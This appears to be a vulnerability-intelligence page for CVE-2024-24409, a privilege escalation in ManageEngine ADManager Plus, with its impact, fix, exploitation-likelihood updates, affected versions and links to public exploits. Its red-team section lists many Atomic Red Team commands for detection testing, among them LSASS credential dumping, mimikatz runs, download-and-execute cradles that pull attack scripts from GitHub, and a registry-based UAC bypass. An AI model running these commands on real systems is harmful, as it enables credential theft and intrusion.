CVE-2024-24409
Overview
This vulnerability is a privilege escalation flaw rooted in improper access control within the Modify Computers feature of ManageEngine ADManager Plus. The affected component fails to enforce adequate privilege checks when modifying computer objects, allowing users with limited privileges to perform unauthorized actions. The root cause lies in insufficient validation of user permissions during modification operations in versions 7203 and prior.
Vulnerability Description
Zohocorp ManageEngine ADManager Plus versions 7203 and prior are vulnerable to Privilege Escalation in the Modify Computers option.
Impact
An attacker with valid credentials at a limited privilege level can escalate their permissions within the ManageEngine ADManager Plus environment by exploiting this flaw. This enables unauthorized modification of computer objects, potentially allowing lateral movement or increased control over network resources. The exploit requires network access and valid authentication (PR:L), with no user interaction needed (UI:N). The vulnerability carries a high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) as per the CVSS vector.
Solution
Apply the security update provided by Zoho for ManageEngine ADManager Plus, specifically versions later than 7203, as detailed in the vendor advisory at https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2024-24409.html. The advisory outlines patch installation instructions to remediate the privilege escalation issue in the Modify Computers feature. Administrators should promptly upgrade to the fixed version to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Modify Computers option of ManageEngine ADManager Plus versions 7203 and prior allows for privilege escalation, which can be exploited by unauthorized users to gain elevated access to system resources and sensitive data. This flaw arises from improper validation of user permissions when executing modifications to computer accounts within Active Directory. Attackers can leverage this weakness to manipulate user roles, granting themselves administrative privileges that should be restricted to authorized personnel only. The technical details indicate that the vulnerability stems from a failure to enforce strict access controls, allowing malicious actors to bypass security measures that are typically in place to protect sensitive administrative functions.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with basic user access could initiate a session within the application and exploit the flawed permission checks to modify computer accounts. This could involve changing attributes that grant higher privileges or even creating new accounts with administrative rights. Scenarios may include an insider threat where a disgruntled employee seeks to elevate their access for malicious purposes or an external attacker who has gained initial access to the network through phishing or other means. The ease of exploitation, combined with the potential for significant privilege escalation, makes this vulnerability particularly concerning for organizations relying on ManageEngine ADManager Plus for their Active Directory management.
The real-world impact of this vulnerability can be severe, posing significant business risks. Organizations could face unauthorized access to sensitive data, leading to data breaches that compromise customer information and intellectual property. The financial repercussions could be substantial, encompassing regulatory fines, legal liabilities, and loss of customer trust. Additionally, the operational impact may include disruptions to business processes as IT teams scramble to address the breach and mitigate damages. The potential for reputational harm is also significant, as news of a security incident can lead to long-lasting damage to an organization's brand and market position.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing should be conducted to identify and remediate vulnerabilities within the system. Additionally, organizations should enforce strict access controls and regularly review user permissions to ensure that only authorized personnel have administrative access. Monitoring and logging of user activity within the application can provide valuable insights into potential exploitation attempts, allowing for timely responses to suspicious behavior. Furthermore, organizations should stay informed about security patches and updates from the vendor, ensuring that they are running the latest, most secure versions of the software.
In conclusion, the privilege escalation vulnerability in ManageEngine ADManager Plus represents a critical security risk that organizations must address proactively. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare their defenses. Implementing robust detection and mitigation strategies will not only protect sensitive information but also safeguard the organization’s reputation and operational integrity in an increasingly hostile digital landscape.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-24409, rising by over 70% to a current level that places it near the top percentile of predicted exploitation likelihood. This upward adjustment reflects growing confidence in the exploitability of the privilege escalation vulnerability within ManageEngine ADManager Plus, likely influenced by the recent public release of proof-of-concept code and exploit modules targeting versions prior to 7210. While the short-term trend remains stable, the elevated EPSS score signals heightened adversary interest and a broader attack surface as threat actors integrate these exploits into their toolkits. For defenders, this shift underscores an increased urgency to monitor for exploitation attempts and reassess risk postures, especially in environments where patching cadence lags behind. Although no surge in active exploitation has been observed in our telemetry, the combination of accessible exploit code and rising EPSS suggests that the threat level has escalated from moderate to high, warranting closer scrutiny and prioritization in vulnerability management workflows.
Update 2 — July 12, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-24409, indicating that adversaries have begun actively leveraging the privilege escalation vulnerability in ManageEngine ADManager Plus. This development is significant as it confirms the transition from theoretical exploitation to real-world attempts, increasing the likelihood of successful intrusions in unpatched environments. Although the EPSS score remains stable and below critical thresholds, the emergence of exploit activity in our telemetry signals a heightened operational tempo among threat actors, which may presage broader campaign adoption. For defenders, this shift elevates the urgency to enhance monitoring for anomalous behavior associated with the Modify Computers function and to prioritize patch deployment. The threat level for this vulnerability has consequently risen from moderate to high, reflecting the growing adversary focus and the tangible risk posed by active exploitation.
Affected Products (84)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:-:*:*:*:*:*:*
|
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6100:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6101:*:*:*:*:*:*
|
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6102:*:*:*:*:*:*
|
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|
Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6103:*:*:*:*:*:*
|
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|
Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6104:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6105:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6106:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6107:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6108:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6109:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6110:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.1 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.1:6111:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.2 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.2:*:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.5.7 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.5.7:*:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.6 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.6:6657:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.6 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.6:6660:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 6.6.5 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:6.6.5:*:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 7.0 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:7.0:-:*:*:*:*:*:*
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Zohocorp | Manageengine Admanager Plus | 7.0 |
cpe:2.3:a:zohocorp:manageengine_admanager_plus:7.0:7000:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Zohocorp ManageEngine ADManager Plus 7210 - Elevation of Privilege | Metin Yunus Kandemir | webapps | multiple | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
passtheticket/CVE-2024-24409
ADManager Plus Build < 7210 Elevation of Privilege Vulnerability
|
passtheticket | 1 | 0 | 2024-09-28 | View |
Threat Feed
3 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-24409 |
| manageengine.com |
GitHub CVE
|
https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2024-24409.html |